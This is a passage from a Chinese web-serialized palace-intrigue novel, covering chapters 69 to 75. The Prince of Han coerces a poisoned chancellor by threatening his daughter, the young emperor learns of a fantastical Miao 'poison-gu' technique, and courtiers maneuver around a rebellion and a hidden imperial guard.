“您说的这些难处,本王岂会不知?所以才要您挑最听话的狗,挑宫中难求的补品。徐徐图之,润物无声嘛。” 韩王言罢,直起身,背对着徐敬意,负手而立。 语气陡然转冷:“还是说,徐相之前对本王的允诺,是敷衍之词?觉得本王年少可欺?或者……” 韩王猛地转过身,眼中寒光暴涨。 “那么徐相是觉得,自己这解药,吃得太过安稳了?亦或是……您那位养在京城西郊别院,年方三岁、玉雪可爱的小女儿徐宝儿,日子过得太舒坦了些?” “轰隆!” 徐敬意脑中仿佛炸开一道惊雷! 宝儿!他最小的女儿,唯一的嫡亲骨血,他一直视若珍宝! 甚至为了避祸,当初他决定造反之时,就已经将妻女秘密安置在京城西郊一处极为隐秘的别院。 这件事,连徐妙晴这个嫡亲妹妹都不知详情! 韩王…… 韩王他是如何得知的?! 徐敬意瞬间被恐惧钳制住了。 这种钻心的恐惧,比那蚀骨的毒发更甚。 他浑身如筛糠般抖起来,嘴唇哆嗦着,一个字也说不出来。 但双眼之中,却已经下意识的浮现出了惊骇和哀求。 “王爷!您、您……” 韩王满意地看着徐敬意瞬间崩溃的神情,就仿佛欣赏着一件精美的瓷器在自己掌中碎裂那般。 充满玩味,又好像是理所应当。 他重新踱回交椅坐下,恢复了那副温雅从容的姿态,仿佛刚才那赤裸裸的威胁从未发生过。 “徐相不必惊慌。”韩王端起旁边小几上早已冷透的茶盏,用杯盖轻轻撇着浮沫,语气温和。 “本王并非不通情理之人,徐相对本王忠心,本王自然要投桃报李。您一时半刻回不去京城,骨肉分离,本王亦感同身受。这样吧……” 韩王抬眼,目光中带上了一种近乎施舍般的怜悯。 “本王会安排,让您和家眷……见上一面。” 徐敬意的心猛地一沉! 见面?怎么见? 隔着千里之遥,韩王所谓的“见面”,无非是掌控了他与京城联络的渠道后,用宝儿的影像或信物来时刻提醒他、威胁他! 这哪里是见面? 这是要把他的命根子彻底攥在掌心! 让他与京城的一切彻底隔绝,只能仰仗韩王的“恩赐”! 他甚至可能借此机会,将宝儿控制在手中,成为永远悬在他头顶的利剑,直到自己再也没有利用价值,成为棋子的那一天。 “王爷……”徐敬意声音干涩,艰难的开口,每一个字都带着血腥味。 “微臣、微臣明白王爷苦心。只是……此事干系实在太大,容微臣再思量一二?” “思量?”韩王脸上的笑容终于彻底消失。 他将茶盏重重顿在几上,发出砰的一声闷响。 “徐敬意!本王耐心有限!” 韩王站起身,高大的身影在烛光下投下巨大的阴影,将徐敬意完全笼罩其中。 “做,还是不做?本王给你一炷香的时间考虑!” 韩王指了指徐敬意:“一炷香后,若看不到送往京城的信,本王即刻命人快马加鞭回京。至于去见谁,做什么,那就由不得徐相你了!” 韩王冰冷的视线如同一把豁开了口子的粗粝匕首,切割着徐敬意的每一寸神经。 他看着韩王眼底不容置疑的杀意,再看看自己这副被剧毒侵蚀、虚弱不堪的残躯,脑中忍不住浮现起了女儿天真烂漫的笑靥…… 一股巨大的无力感彻底淹没了他。 他输了,输得比当初在乾清宫被自己围困的郑遂还要彻底。 好歹郑遂当初还有个皇帝的虚名,可自己却…… 这已不是权力的博弈了,而是身家性命都被捏在别人掌心的绝境! “……微臣…遵命。” 徐敬意的声音微弱得如同蚊蚋,几乎是任命一般。 他闭上眼,两行浑浊的泪无声地滑落,跌入身下华贵的锦被中,瞬间消失不见。 “很好。”韩王脸上重新挂起笑容,却比之前更加阴森。 他挥挥手,立刻有亲卫捧着笔墨纸砚进来,放在徐敬意面前的小几上。 “现在就写。记住,用词要自然些,就像你平日吩咐心腹做事一样。只提‘进献宫中难寻的滋补之物,务必让陛下安心静养、龙体康泰。至于本王……” 韩王俯下身,凑近徐敬意的耳边,气息愈发冰冷? “一个字都不许提。若让本王发现信中有一丝一毫的暗示……” 韩王未尽的话语化作一声令人胆寒的轻哼。 徐敬意的手抖得几乎握不住笔。他蘸了墨,盯着那张雪白的宣纸,仿佛盯着自己的催命符。 每一笔落下,都像是用刀在剜自己的心。 他艰难地措辞,既要符合自己一贯对皇帝“关心”的口吻,又要将韩王那歹毒的意图不着痕迹地传达给京中心腹。 汗水很快浸透了他单薄的寝衣,额头上青筋突突直跳,太阳穴也嗡嗡的疼。 第70章 不能坐以待毙 韩王就站在一旁,抱着双臂,锐利的目光紧紧盯着徐敬意的笔尖,审视着每一个字。 仿佛写错了一个字,徐敬意的身家性命就会立刻被毁于一旦! 无形的压力如同巨石,压得徐敬意几乎窒息。 信终于写完,墨迹未干,徐敬意却如同虚脱般瘫软下去,大口喘息着。 韩王拿起信纸,仔仔细细,逐字逐句地看了一遍,嘴角终于勾起满意的弧度。 他将信纸小心折好,收入怀中。 随即,他并未离开,反而又坐了下来,好整以暇地问道。 “徐相在京中,与这些忠仆,是如何联系的?用何人?走哪条线?多久传递一次消息?” 徐敬意的心彻底沉入谷底。 这是要将他最后一点自主权都剥夺干净啊! 可是不说又能如何? 韩王这是杀人诛心,早就计划着要将他的所有都收入囊中了! 不说?呵……那自己先前所有的示好都会毁之一旦。 无奈之下,徐敬意只好忍着剜心般的屈辱,断断续续地将自己设在京城的,作为秘密联络点的一个不起眼的古玩铺子,以及负责传递消息的心腹家仆的名字、接头暗语都说了出来。 待全部说完之后,徐敬意就彻底瘫软在床。 他最可靠的东西,如今也成了讨好韩王的手段,这让徐敬意如何不恨? “嗯,徐相果然是个明白人。” 韩王得到了想要的一切,终于站起身,脸上尽是志得意满的笑容。 “徐相好生歇息,本王就不打扰了。静候京中佳音。” 说完,他再不看徐敬意一眼,转身大步流星地走出了营帐。 厚重的帐帘落下,隔绝了外面肃杀的秋意,可徐敬意却越来越冷。 帐内是死一般的寂静。 徐敬意僵坐在榻上,如同泥塑木雕。 半晌,他猛地爆发出了一声惨绝人寰的低吼! 枯瘦的手忽然地抓起矮几上的茶壶、杯盏,狠狠砸向地面! “哐当!哗啦——!” 碎片四溅,茶水横流! “韩王!竖子!欺我太甚!欺我太甚啊!!” 徐敬意嘶吼着,声音几乎破碎,充满了滔天的恨意和无边的绝望。 可是身体仍旧虚弱。 话还没说完,徐敬意就剧烈地咳嗽起来,咳得几乎撕心裂肺。 本就蜡黄的脸这会儿终于有了些血色,紧接着越来越红,逐渐涨成猪肝色,几乎要背过气去。 不行!不能坐以待毙! 徐敬意眼中射出冷冽的光芒。 韩王这是要把他彻底变成傀儡,榨干最后一点价值后弃如敝履! 甚至他的宝儿……他不敢想下去! 必须回京!无论如何都要回京! 哪怕是……哪怕是暂时向郑遂那小皇帝低头! 哪怕要放出更多的权柄! 只要他能回到京城,回到权力的中心,回到女儿身边,他就有翻盘的希望! 总好过在这里,像条狗一样被韩王捏着脖子,连女儿都成了砝码! 这个念头一旦升起,就如同野火燎原,再也无法遏制。 徐敬意剧烈地喘息着,浑浊的眼中只剩下孤注一掷的疯狂。 —— 京城郊外,那座伪装成普通农庄的禁军驻地深处。 郑遂在王喜和几名心腹禁卫的簇拥下,悄然穿过几重严密的岗哨,进入里头一间布置得极为干净、药味弥漫的静室。 这是新给楚王整理出来的,用于养病的屋子。 难为这些禁军了,个个儿都是粗人,还能整理的这么快,这么好。 太医正坐在榻边,为床上的人诊脉。 看到郑遂进来,太医连忙起身见礼。 “微臣给陛下请安,陛下,幸不辱命。”太医的声音带着一丝疲惫,眼睛却晶亮。 “楚王殿下的命,总算是从阎王爷手里抢回来了。如今脉象虽仍虚弱,但根基已稳,暂无性命之忧。人也清醒过几次,只是精神不济,清醒的时间不长。” 郑遂紧绷了数日的心弦骤然一松:“有劳太医了!” 随后他快步走到榻前。 榻上躺着的楚王面色依旧苍白如纸,嘴唇干裂,眼窝深陷,短短时日竟已瘦脱了形,不过瞧着,能比前几日有精神些。 听到动静,楚王费力地睁开沉重的眼皮,眼神先是迷茫,待看清眼前是穿着常服却难掩威仪的郑遂时,那双原本一片死寂的眸子终于爆发出光来。 “皇…皇兄……”楚王费力的从喉咙里挤出嘶哑破碎的声音,接着眼泪就如同断了线的珠子般的汹涌而出。 他挣扎着想坐起来,可却连抬手的力气都没有,只能徒劳地伸出一只枯瘦的手,颤抖着抓住了郑遂垂在榻边的衣角。 “皇兄…救我…韩王…韩王他要杀我!他要杀我啊!”楚王哭的语无伦次。 郑遂连忙在榻边坐下,紧紧握住楚王冰冷的手,温声道:“别怕,阿琮,别怕!皇兄在这里,没人能再伤你。慢慢说,到底怎么回事?韩王他怎敢如此?!” 在郑遂沉稳的安抚下,楚王的情绪终于稍稍平复。 他断断续续的,将韩王如何趁着徐敬意离开云州的空档,以“探病”为名突然来到云州。 又如何不知从哪里弄来一个心腹,还那心腹莫名其妙暴毙后,一口咬定是楚王下的毒,以此为借口,在众目睽睽之下,强行给他灌下了一碗毒药。 “他、他根本就是故意的!那个所谓的心腹……死得蹊跷!他就是为了找个由头除掉我!” 楚王的声音充满了恨意和后怕,说着,便把郑遂的手握的更紧。 “皇兄!那药…好苦…好痛…像有无数把刀子在肚子里搅…我…我以为我死定了……” 回想起那日生不如死的苦楚,楚王的身体又开始不受控制地颤抖。 郑遂听的眉头紧紧锁起,脸色阴沉得能滴出水来。 这简直是内忧外患! 徐敬意的狼子野心尚未解决,韩王又迫不及待地跳出来搅动风云,甚至直接对皇室藩王下此毒手。 而近日,李继业也传来消息。 说是一直被击退后按兵不动的秦王又开始频频调动兵马,招兵买马,隐隐有再次起兵作乱的迹象。 这大齐的江山,当真是风雨飘摇,乱成了一锅滚沸的粥! 【亲爱的读者,如果认为内容可以,记得加入书架哦,方便下次阅读~】 第71章 这是一种蛊毒 “阿琮不怕。”郑遂压下翻腾的心绪,用力握紧弟弟的手。 “你现在在皇兄身边了,在京城,他韩王的手再长,也伸不到这里来!你安心养伤,一切有皇兄做主!” 感受到兄长掌心传来的暖意和坚定,楚王仿佛找到了主心骨,恐惧稍减。 他努力回忆着,喘息着补充道:“不过皇兄…我…我晕过去之前…好像…好像听到韩王对旁边的人说…说…‘剩下的药收好…给徐敬意用…’” 郑遂瞳孔骤然一缩! 给徐敬意用?! 前几日,听自己安插在徐敬意身边的保皇党传讯说,徐敬意在启程返回云州途中,被其一个心腹幕僚在饮食中下了慢性的“药”,导致其身子虚弱不堪。 那眼线当时就确认,下毒者正是韩王安插进去的人手,但当时郑遂并没有理会。 既然他们都不消停,便让他们狗咬狗去。 但那时郑遂也没想到这事会波及到楚王。 只是……如果两人中的毒是同一种,那这韩王的手,可就不仅仅是伸的长,更是快的人一点准备都没有了。 郑遂安抚着惊魂未定的楚王睡下,看着他呼吸渐渐平稳,才悄声退出静室。 听太医说,楚王中的毒绝非寻常毒物,发作方式诡异,对于像楚王这种身子弱的人来说,稍微用量不当,就能立刻要了楚王的性命。 而自己派去云州保护楚王的进军,也正是瞅准了这个空档,先给楚王灌了一些解药进去,这才能保得楚王的命把他带回京城,才能让太医有救治他的机会。 然而对于身强体健的人来说,那种毒药能深入肺腑却又不立时毙命,并且发作支持痛苦异常。 这种歹毒诡异的东西,除了深宫禁苑一些见不得光的秘药,恐怕只有民间那些神出鬼没的毒师才能拥有了。 郑遂连忙回了皇宫。 甫一踏入御书房,他便屏退左右,只留下了王喜,然后沉声道:“传南宫治,立刻。” 不多时,南宫治悄无声息地出现在殿内,依旧是一身低调的深色内侍服,恭敬行礼。 “奴才参见陛下。” “免礼。”郑遂示意他近前。 开门见山,将韩王给楚王和徐敬意的下毒之事,以及那种毒的诡异特性详细的告诉给了南宫治。 “南宫先生在江湖行走多年,见多识广。可曾听闻过此类毒物?可能推测出其来源?” 南宫治听完,脸上惯常的平静也出现了一丝波澜。 他眉头微蹙,陷入沉思。 片刻后,南宫治才缓缓开口。 “回禀陛下,奴才昔年混迹三教九流,确曾听闻过一种极其阴毒的手段,与陛下所描述的……有几分相似。但它并非中原常见毒药,而是源于西南苗疆的诡秘之地。” “是何?”郑遂追问。 南宫治道:“那是一种将毒与蛊的邪术结合起来的产物,称之为药蛊亦不为过。其原理,与操控活体蛊虫类似,但更为歹毒隐蔽。它是以特制的剧毒药物为引,种入人体后,如同休眠的蛊虫蛰伏。下蛊者手中持有母引,可在一定范围内,通过特殊的手法或媒介,操控子引的发作时机、痛苦程度,甚至最终是否取命。发作之时,中者如万蚁噬心、脏腑如焚,痛苦远超寻常毒药,却又不会立时毙命,如同被无形的线操控的木偶。” 但此术玄奥诡谲,对施术者的要求极高,非顶级的巫蛊师无法操控。 且施术时,巫蛊师虽无需像操控活蛊那样必须亲临现场下蛊,但要想精准操控子引,其人也绝不能离中蛊者太远,至少需在百里范围之内,方能有感应之力。 “此等人物,世间罕有,踪迹难寻。奴才也只是道听途说,其中玄妙,实难尽述。” 郑遂听着南宫治的叙述,心中掀起惊涛骇浪。 巫蛊!药蛊!操控毒发! 这完全超出了他作为一个穿越者对这个“正常”古代世界的认知。 本以为宫斗权谋已是极限,没想到竟真的触及了这种玄之又玄的领域! 韩王给他们下的,难道真是这种邪门的“药蛊”? 若真如此,那楚王中毒时,施术的巫蛊师必定就在云州! 而徐敬意中毒时,却是在从荆州返回云州的途中,那巫蛊师又是如何精准下手的? 难道韩王势力庞大至此,能同时供养多名顶级巫蛊师,随时调配使用? 还是说……这药蛊的操控距离,比南宫治所知的更远? 亦或者,有更不为人知的传递媒介? 最关键的是,若真有巫蛊师的操控,那想来亦是能得知中毒之人死没死。 那楚王,可还活着呢! 无数疑问在郑遂脑中盘旋,如同乱麻。 他正凝神思索间,眼角余光敏锐地捕捉到屏风之后,一道纤细的身影无声无息地立在那里,似乎已有一会儿。 是徐妍。 郑遂立刻收住话头,不动声色地对南宫治挥了挥手:“朕知道了。此事关系重大,切莫外传。太后那边,你仍需盯紧,她所求的禁军下落,务必让她觉得有希望却又够不着,吊着她。她如今……可还听话?” 南宫治眼中闪过一丝心照不宣的幽光,躬身道:“陛下放心,奴才省得。太后娘娘如今…对奴才颇为倚重,为了那虚无缥缈的希望,听话得很。奴才告退。” 郑遂微微颔首。 王喜立刻上前,引着南宫治悄无声息地退了出去,厚重的殿门缓缓合拢。 殿内只剩下郑遂一人。 他转向屏风方向:“出来吧。” 徐妍的身影从屏风后转出,她今日穿着一身素雅的宫装,但已经颇有一个宫妃该有的样子了。 她对郑遂画的“皇后”的大饼一直深信不疑? 她无声的缓缓走到郑遂面前,盈盈一礼。 却并未立刻开口,似乎在组织语言。 郑遂看着她:“你都听到了?关于那巫蛊之事?” 徐妍抬起头,目光中忽然闪过一丝郑遂未曾见过的复杂情绪。 随后她轻轻咬了咬下唇,仿佛终于下定了决心:“陛下,关于南宫公公所说的苗疆巫蛊师……奴婢……或许知道一位。” 郑遂眼神一凝:“哦?你知道?” 第72章 不如调动禁军 徐妍点点头:“奴婢幼时在祖父书房外玩耍,曾无意中听到他与一位神秘的客人密谈。那位客人…口音奇特,穿着也与中原迥异,周身带着一股…难以言喻的阴冷气息。祖父对其极为恭敬,称其为‘鬼师’。” 他们谈话的内容徐妍当时也听不大懂,只依稀记得提到了“噬心咒、“控魂术”之类的字眼,还说些什么代价巨大、用了之后恐自身性命也难保之类的话。 “后来奴婢好奇问过祖父,祖父讳莫如深,只严厉告诫奴婢绝不可再提此人,更不可对外泄露分毫。” 后来大了些,徐妍回忆起这件事,总觉得诡异异常。 入了宫,自己手里有了权柄后,因好奇也着人去打探了一番。 这才知道,此人乃苗疆不出世的巫蛊大师,性情乖戾,手段通天,其亲传大弟子更是青出于蓝。 但行踪更为诡秘,人称“影巫”。 还说……已为某位大人物所用。 至此,徐妍便知道,这更深处的东西,已非自己能够打探的,于是便作罢。 可谁知到了今日,竟然还能听说这个巫蛊师的事。 亲传大弟子? 影巫? 郑遂的心猛地一跳。 韩王身边那个能施展“药蛊”的顶级巫蛊师,莫非就是这师徒二人? 只是徐家祖父当年接触过“鬼师”,韩王如今又能驱使其师徒…… 这其中的关联,细思极恐! 徐敬意若知,如今在他身上用毒的人,他亲老子曾接触过,只怕会气的眼珠子都掉出来吧?! 郑遂缓缓看向徐妍:“那此事,你为何今日才说?” 徐妍迎着他的目光,有些颤抖的道。 “陛下恕罪,此事乃奴婢幼年无意所闻,且祖父严令禁止,当初查到端倪之后,也未曾想过其中的联系。若非今日听闻南宫先生所言,勾起回忆,且事关陛下安危与朝局稳定,奴婢绝不敢妄言这等虚无缥缈之事。” 徐妍说罢,微微低下头。 “奴婢所言句句属实,若有半分虚言,甘受责罚。” 郑遂沉默地看着她。 徐妍的解释合情合理,半点挑不出错来。 且她一直在自己的掌控之中,可许诺的皇后之位,却一直没有着落。 她选择在此刻说出,时机也恰到好处,既表了忠心,又提供了一个极其关键的线索。 那么自己不“感谢”她,也说不过去。 郑遂不由得在心里冷笑一声。 看来徐妍有长进了呀。 不过,影巫…… 郑遂在心里重复着这个名字,目光投向殿外沉沉的夜色。 这盘棋,还真是越来越复杂,也越来越凶险了。 忽然,殿外传来一阵急慌乱的脚步声。 王喜几乎是连滚带爬地冲了进来,扑通一声跪在地上,脸色煞白的朝着郑遂急急回禀。 “陛、陛下!不好了!八百里加急!秦王……秦王在封地再次举兵谋反了!叛军势大,已连下三城,正朝京城方向扑来!” 郑遂直接被气笑了。 不想这秦王动作如此之快,消息只怕也是灵通的很呢! 徐敬意刚刚出事,他就反了,这是打量着自己手边没人了吗? 只是不知,这消息,到底是秦王自己得知,还是…… 韩王那边故意走漏的风声! 郑遂霍然起身,脸上恰到好处地掠过一丝“惊怒”:“什么?!逆贼安敢如此!” 几乎就在王喜话音落下的同时,殿外又传来通报声。 几名身着绯袍、神色各异的大臣匆匆而来。 正是徐敬意在朝中的核心党羽。 看样子,有的人坐不住了。 “宣!” 郑遂倒是也好奇他们会怎么说,干脆大手一挥,沉声道。 随后转过身,给了一个眼神,示意徐妍。 徐妍反应极快,立刻闪身躲入厚重的帷幕之后,屏息凝听。 以兵部尚书赵启为首的等人疾步入内,连行礼都显得仓促。 赵启率先开口:“陛下!秦王复叛,狼子野心昭然若揭!如今社稷危殆,请陛下速速定夺,调兵平叛!” 身旁一位也紧接着附和:“尚书大人所言极是!秦王来势汹汹,必须尽快集结重兵,将其扼杀于京城之外,否则后果不堪设想!” 郑遂眉头紧锁,目光扫过众人。 “调兵?调哪里的兵?京营拱卫京师,轻易不可动。徐相所部精锐尚在荆州、云州一线,远水难救近火。其余各地卫所,仓促间能调集多少?又需多少时日?” 他抛出问题,目光锐利地盯向赵启身后的户部尚书。 “刘爱卿,你是户部尚书,钱粮调度最是清楚。眼下仓促间能调集多少粮饷?可支应多少兵马?” 刘尚书脸上立刻显出“为难”之色,支吾道:“回陛下,前次平叛耗费巨大,且国库……国库实在空虚。且秋粮未收,各处赋税尚未解送,仓促间……恐难以为继大军长途征伐……” “那依诸位爱卿之见,该当如何?”郑遂的声音沉了下去,面上一派忧虑之色。 殿内出现了短暂的沉默,几个大臣眼神飞快地交换着。 他们当然知道徐敬意的嫡系兵马在哪里,也心知肚明此刻最快捷、最有战斗力的平叛力量,就是将徐敬意留在荆州、云州一带,由其心腹将领统率的那几支部队派出去。 且按照“常理”,他们此刻确实应该立刻奏请陛下急召徐相回京主持大局,并调动其麾下精锐北上平叛。 这本是他们为徐敬意和自己争取更大功劳和话语权的绝佳机会。 然而此刻没有一个人提到徐敬意。 最终,赵启像是下了某种决心,上前一步。 “陛下!事急从权!臣等思虑再三,京营确实不可轻动,徐相部属调动亦需时日。眼下唯一能快速形成战力,且无需长途跋涉、耗费巨大钱粮的,唯有……唯有先帝秘密组建,用以拱卫皇室的那一支潜龙禁军了!” “禁军?”郑遂脸上露出恰到好处的惊愕和。 “先帝确有组建过这样一支禁军,可朕也听说他们只听从虎符调遣,不听皇命。且朕虽为天子,亦不知那支部队的所在之处,又该去哪里寻?” 第73章 这是要把责任推给陛下 赵启立刻接口:“陛下明鉴!这支部队,是专为应对皇室倾覆之危所建,由心腹死士组成,战力无双,唯有调动他们才是最好的应对之策。虽然其统领信物与调动之法极为独特,但,想来陛下有召,他们也不敢不从。” 看样子,他们是让自己用皇命,来强行调遣了。 一直没有说话的礼部侍郎也赶紧帮腔:“陛下,赵尚书所言极是!禁军一出,必能摧枯拉朽,平定秦逆!此乃解燃眉之急的上上之策!恳请陛下以江山社稷为重,速速寻得此军!” 他们七嘴八舌,言辞恳切,中心思想却高度一致。 不动用徐敬意的部队,不调动京营,把平叛的重担全数推到郑遂头上。 他们甚至“贴心”地提醒郑遂,该去找这支禁军了。 郑遂看着眼前这群“忠心耿耿”的臣子,听着他们冠冕堂皇却又漏洞百出的推诿之词,心中冷笑连连。 但他脸上却浮现出被“说服”的无奈,重重的叹息一声。 “诸位爱卿言之有理,国难当头,朕岂能因循守旧?既然先帝有此深谋远虑,为江山计,为祖宗社稷计,朕允了!传朕旨意,即刻秘密寻访潜龙禁军踪迹!王喜!” “奴才在!”王喜连忙应声。 “你亲自督办此事,动用一切可用之密探,不惜代价,务必尽快寻得线索!一有消息,即刻来报!平叛之事,朕就仰赖这支禁军了!” “奴才遵旨!”王喜领命,匆匆退下安排。 下首三人脸上飞快地掠过一丝如释重负,连忙躬身:“陛下圣明!臣等必当竭尽全力,辅助陛下寻得禁军,共克时艰!” 他们得到了想要的答案,目的达成,便不再多留,很快告退离去。 御书房内再次恢复了寂静,只剩下烛火燃烧的噼啪声。 帷幕轻动,徐妍的身影悄然走出。 她脸上带着明显带上了一声困惑,快步走到郑遂面前,压低声音急切地问道。 “陛下,您……您为何要遂了他们的心愿?他们这分明是推诿塞责!将平叛的重担和风险全数推给陛下您!” 秦王叛军凶悍,若全力以赴亦无法力挽狂澜,他们岂不是要将所有罪责都扣在郑遂头上? 他们摆明了是想保存徐敬意的实力,才出此下策! 郑遂缓缓转过身,脸上刚才的忧虑早已消失得无影无踪。 他嘴角勾起一抹冷笑,反问道:“徐尚宫难道还看不出来吗?他们已经知道徐敬意出事了。” 徐妍一怔:“知道?可是……徐相中毒被韩王控制之事,陛下您严密封锁消息,只有您和身边心腹知晓,连楚王殿下被救回都是绝密。他们远在京城,如何得知?” “如何得知?”郑遂踱步到窗前,望着外面沉沉的夜色? “这就是关键。” 秦王再次谋反,这是泼天的功劳,更是徐党巩固权势的绝佳机会。 按常理,他们的第一反应,必定是力谏朕急召徐敬意回京主持大局,调动其麾下精锐,将这份功劳牢牢抓在自己手里。 他们甚至应该主动请缨,让自己的亲信将领领兵,好分一杯羹。 “可你看他们刚才,可曾提过徐敬意一个字?” 徐妍回想刚才殿内情形,确实,从头到尾,无人提及召回徐相。 她脸色微变。 郑遂继续道:“他们不提,只有一种解释。他们知道,就算朕下旨急召,徐敬意也根本出不来。” 他们以为郑遂还被蒙在鼓里,不知道徐敬意已被韩王软禁控制,所以干脆绝口不提徐敬意,转而抛出禁军这个诱饵,让郑遂去撞这个看似虚无缥缈、实则暗藏玄机的南墙。 “可是……”徐妍蹙眉? “若韩王也想从中分一杯羹,借机扩张势力呢?他若是这么想,只要陛下下令,他大概还是会暗中放徐相出来,让徐相领兵平叛,然后韩王再挟恩图报,或者暗中操控……” “你想得太简单了。”郑遂打断她。 “徐敬意的这些看似忠心耿耿的部下们,实则在危急时刻可不见得真的和他一条心。” 人都是趋利避害的,若是徐敬意靠不住了,他们也不能在一棵树上吊死不是? 而且如果韩王逼迫徐敬意做的事,是足以将他们所有人都拖入万劫不复深渊的滔天巨祸的呢? 比如……弑君! 早知道,就连徐敬意如此猖狂之人,也只是剥夺帝王的权利,想要逐步取而代之,而非直接杀戮呢。 而弑君这事,一旦失败,就是诛九族的大罪! 那么,对于依附于徐敬意的这些人来说,徐敬意就不再是他们的靠山。 而是一个随时可能爆炸,甚至将他们炸得粉身碎骨的累赘! 这个时候,徐敬意自然就成了一枚弃子。 “弃子……” 徐妍倒吸一口凉气,脸色瞬间苍白。 她这会儿算是全然明白郑遂的意思了。 如果徐敬意被韩王逼迫去行刺皇帝,无论成功与否,风险都大到无法想象。 成功,韩王必然要灭徐敬意的口并接管一切,他们这些徐党未必能捞到好处。 失败,徐敬意必死无疑,他们作为同党也难逃清算。 与其这样,不如趁着徐敬意的手伸不长了,再加之秦王作乱这个契机,在皇帝面前另寻出路。 甚至…主动“卖”掉徐敬意的一些秘密来换取新主的信任和自身的平安。 郑遂看着徐妍变幻的脸色,知道她已经想通了其中的关节,微微一笑。 “所以,朕当然要顺着他们的意思。” 徐敬意已经“找到”了禁军的线索,他的朋党们正好借着力,“引导”郑遂去找。 他们可不会真的真的想让郑遂大海捞针。 相反的,正是因为他们以为郑遂找不到,所以,他们很快就会“恰到好处”地给郑遂送来线索,甚至…… 直接送来禁军的人! “若以此在朕面前卖个好,表表‘忠心’,为自己留一条后路。一旦皇室复兴,他们这些‘逆贼’自会有活路。而且哪怕徐敬意有天逃脱虎口,这办法也挑不出错来,他们依然可以依附徐敬意。” 第74章 算盘珠子真是响亮 他们是在用徐敬意的秘密,换取自己活命甚至继续荣华富贵的筹码。 与此同时,还给自己准备了多个退路。 这算盘珠子,都快崩到郑遂脸上了。 “可徐相他……”徐妍声音有些发颤,“如果真的对您下手了,怎么办?” 郑遂的眼神忽然一沉,一字一句道。 “韩王要借徐敬意的刀,彻底搅乱这大齐的天。那朕,就由着他们吧。” 徐妍只觉得一股寒意从脚底直冲头顶,几乎站立不稳。 这郑遂,是要赌一把大的了。 郑遂要“寻找”禁军的旨意,很快就在京城中炸开了锅。 一时间,无论是朝堂之上,还是朝堂之外,都无数双眼睛或明或暗地注视着皇宫的动静,各方势力,亦是都在揣测这位年轻皇帝的真正意图和可能的收获。 而王喜那边领了旨意,煞有介事地派出了一波又一波的“密探”,京城内外一些平日里无人问津的角落、废弃的宅院、甚至皇陵附近,都出现了可疑的“探查”身影。 这出戏做得十足,所有人都以为,皇帝真的在倾尽全力寻找那支传说中的禁军。 一时间,议论的声音更多了。 但,始终都没有传来郑遂成功的消息。 三日后,这把火烧的已经够“旺”了。 不出郑遂所料,那些人终于等到了合适的时机,便再次联袂求见。 只是这一次,他们脸上少了几分前日的“焦虑”,多了几分压抑不住的喜色和想要邀功的急切。 “陛下!天佑大齐!天佑陛下!”赵启一进殿,便按捺不住激动,跪地禀报。 “臣等不负陛下所托!那禁军的线索,找到了!” 郑遂猛地抬起头,脸上瞬间堆满了恰到好处的狂喜,连手中的朱笔都啪嗒一声掉落在御案上,染红了一小片奏章。 “什么?!找到了?!赵爱卿,快说!人在何处?如何找到的?” 赵启忙道:“回陛下!臣等这几日寝食难安,几乎发动了所有能用的关系,明察暗访,终于在京郊一处废弃的皇庄地窖中,寻到了一位自称是禁军旧部的壮士!此人武艺高强,对答如流,熟知禁军内部切口暗号,并持有半枚作为信物的残缺龙纹玉佩!经臣等反复盘问,其身份确凿无疑!” 刘尚书也赶紧补充:“陛下!此人身负重伤,却心念陛下,冒死前来!此刻就在宫外候旨!恳请陛下召见!” “快!快宣!”郑遂激动得站起身来。 搓着手,一副急不可耐的样子。 “王喜!速去!把人带进来!小心些,莫要惊扰了壮士!” “奴才遵旨!”王喜应声,快步退出。 殿内几位大臣互相交换着眼色,都从对方眼中看到了得意。 看来事情的发展,完全在他们的掌控之中。 不多时,殿门再次打开。 王喜引着一个人走了进来。 此人身材魁梧,穿着一身洗得发白的粗布短打。 他低着头,步伐沉稳,带着一股行伍之人特有的剽悍气息。 当他走到御案前数步距离时,才缓缓抬起头。 郑遂的目光与他瞬间相接。 四目相对。 郑遂的眼神深处掠过一丝极其细微的了然,快得无人能捕捉。 而进殿的壮汉在与皇帝视线交汇的刹那,眸光亦是闪烁了两下。 随即迅速垂下眼帘。 这张脸,郑遂自然认得。 正是他之前秘密会面过的禁军几位核心头领之一,名叫雷猛。 二人会面,心照不宣,都如同初次相见一般。 随即雷猛扑通一声单膝跪地,抱拳行礼:“微臣雷猛,参见陛下!万岁,万岁,万万岁!” 郑遂快步从御案后走出,亲自上前,作势欲扶。 “雷将军快快请起!不必多礼!你乃先帝为朕留下的肱骨忠臣,是朕的恩人!一路辛苦了!” 雷猛顺势起身,依旧微微躬着身。 “谢陛下关怀!路上一切顺利!如今陛下有召,潜龙旧部,虽百死亦当效力!” “好!好!好一个‘虽百死亦当效力’!先帝果然没有看错人!”郑遂重重拍了拍雷猛的肩膀,无比欣慰。 他转向赵启等人,丝毫不吝惜词汇的赞叹道:“诸位爱卿立此大功,为朕寻得如此忠勇之士,解朕燃眉之急,实乃社稷之幸!待平定秦逆,朕定当论功行赏!” 赵启等人连忙躬身,连称不敢:“此乃臣等分内之事,全赖陛下洪福齐天,先帝庇佑!” 他们看着皇帝对雷猛如此亲近,心中大石彻底落下。 看来这步棋,走对了! 不仅成功将平叛的烫手山芋丢给了皇帝,还找来了禁军,这可是在皇帝面前立下大功,留了一条光明的后路啊! 至于徐敬意嘛…… 他们默契地选择不再去想。 郑遂拉着雷猛的手,走到御案旁悬挂的巨幅舆图前,指着秦王入侵的方向,语气凝重道? “雷将军,秦王复叛,情势危急!朕如今所能倚仗者,唯有将军与禁军旧部了!将军可知,如今尚能联络召集到的人手,还有多少?需要多少时日?粮饷军械,朕让王喜全力配合调度!” 雷猛目光炯炯地看着舆图,状似思索,然后抱拳道。 “陛下放心!微臣有把握在十日之内集结至少三千精锐!这虽然人不多,但皆是百战悍卒,装备精良!定不负陛下重托,誓死剿灭秦逆!” “好!好!”郑遂大喜过望,仿佛抓住了救命稻草般。 “王喜!即刻传旨,命内库、兵部、户部,全力配合雷将军所需!要粮给粮,要饷给饷,要军械给最好的军械!不得有误!” “奴才领旨!”王喜高声应道。 “末将领命!定不负陛下厚望!”雷猛再次单膝跪地,声音铿锵有力。 下首几人脸上皆露出了满意的笑? 眼下的危机,似乎正在按照他们引导的方向顺利解决。 唯有帷幕阴影处,徐妍看着郑遂那看似激动实则深不见底的眼眸,心中涌起一股难以言喻的寒意。 这些人怕不知,眼下他们的风光,很快就要随着即将落败的秦王,一起消失殆尽了。 第75章 这种话休要再说 雷猛的效率极高。 